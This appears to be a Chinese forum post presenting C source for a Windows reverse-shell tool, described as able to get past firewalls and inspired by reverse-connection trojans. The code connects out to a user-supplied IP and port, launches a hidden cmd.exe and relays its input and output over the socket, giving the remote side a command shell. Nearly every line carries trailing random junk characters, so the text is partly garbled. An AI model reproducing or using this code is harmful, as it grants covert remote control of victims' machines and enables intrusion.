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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LJk%#yV|_  
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/* ============================== '52~$z#m  
Rebound port in Windows NT w }Uhd ,  
By wind,2006/7 )9l^O  
===============================*/ !l]dR@e  
#include Wjhvxk  
#include WOuEWw=  
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#pragma comment(lib,"wsock32.lib") ^uv<6  
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void OutputShell(); [ i#zP  
SOCKET sClient; >SPh2[f  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~ .;<  Bj  
;JZS^Wa  
void main(int argc,char **argv) y E[#ze  
{ J+d1&Tw&  
WSADATA stWsaData; ok|qyN+  
int nRet; V,rq0xW  
SOCKADDR_IN stSaiClient,stSaiServer; fd-q3 _f  
OO[F E3F  
if(argc != 3) -'~ LjA(  
{ b#7{{@H  
printf("Useage:\n\rRebound DestIP DestPort\n"); S26MDLk`R3  
return; ~/.7l8)  
} Vz6Qxd{m3  
aaD;jxT&M|  
WSAStartup(MAKEWORD(2,2),&stWsaData); UG=K|OXWJ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Sb~MQ_  
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stSaiClient.sin_family = AF_INET; `{qG1  
stSaiClient.sin_port = htons(0); C z\Ppq  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t%F0:SH  
)iFJz/n>  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) sc,Xw:YO  
{ o=0]el^A  
printf("Bind Socket Failed!\n"); W`c'=c  
return; M Y|w  
} |4'Y/re  
y+7w,m2  
stSaiServer.sin_family = AF_INET; BcI |:qv|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zOQ>d|p?X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); B^g ?=|{  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -[-wkC8a  
{ yn#X;ja-  
printf("Connect Error!"); l\C.",CEcc  
return; g)-bW+]q  
} _3ZYtmn.  
OutputShell(); >$4d7.^hb/  
} i':C)7  
cTG|fdgMW  
void OutputShell() IIbYfPiO  
{ W*2U="t  
char szBuff[1024]; |P%Jw,}]9  
SECURITY_ATTRIBUTES stSecurityAttributes; }sxYxn~  
OSVERSIONINFO stOsversionInfo; %n*-VAfE\  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; D-c`FG'  
STARTUPINFO stStartupInfo; K.0:C`C  
char *szShell; Hw4%uS==V  
PROCESS_INFORMATION stProcessInformation; M3q|l7|9  
unsigned long lBytesRead; x)@G;nZ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); irfp!(r  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Mxv;k%l|E|  
stSecurityAttributes.lpSecurityDescriptor = 0; N0r16# -g  
stSecurityAttributes.bInheritHandle = TRUE; [sW3l:^  
j:VbrR  
b9l;a+]d  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *6VF $/rP  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fZoHf\B]{  
Oeok ;:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `^)jLuyu  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ' ET~  
stStartupInfo.wShowWindow = SW_HIDE; v d[0X;  
stStartupInfo.hStdInput = hReadPipe; 4M2j!Sw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *6 >.!&  
RN e^; B  
GetVersionEx(&stOsversionInfo); dUhY\v oQ  
}9FSO9*&}  
switch(stOsversionInfo.dwPlatformId) 3U0`,c\ao*  
{ BBev<  
case 1: T \_ ]^]>  
szShell = "command.com"; 7Ve1]) u  
break; a*&B`77`|  
default: r4SXE\ G  
szShell = "cmd.exe"; #~ )IJ  
break; \RG8{G,  
}  bJX)$G  
N(Tz%o4  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @"^0%/2-  
hbY5l}\5  
send(sClient,szMsg,77,0); tIuCct-  
while(1) .?loO3 m  
{ W>j!Q^?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); M r5v<  
if(lBytesRead) c_4[e5z  
{ 0E3[N:s  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0"pAN[=K@  
send(sClient,szBuff,lBytesRead,0); !]=d-RGNe  
} sG92XJ  
else md"!33 @  
{ c"B{/;A  
lBytesRead=recv(sClient,szBuff,1024,0); 3v1iy / /  
if(lBytesRead<=0) break; UdpF@Q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <4HDZ{"M  
} zo4qG+>o  
} 75XJL;W #  
=\H!GT  
return; d^{RQ   
}
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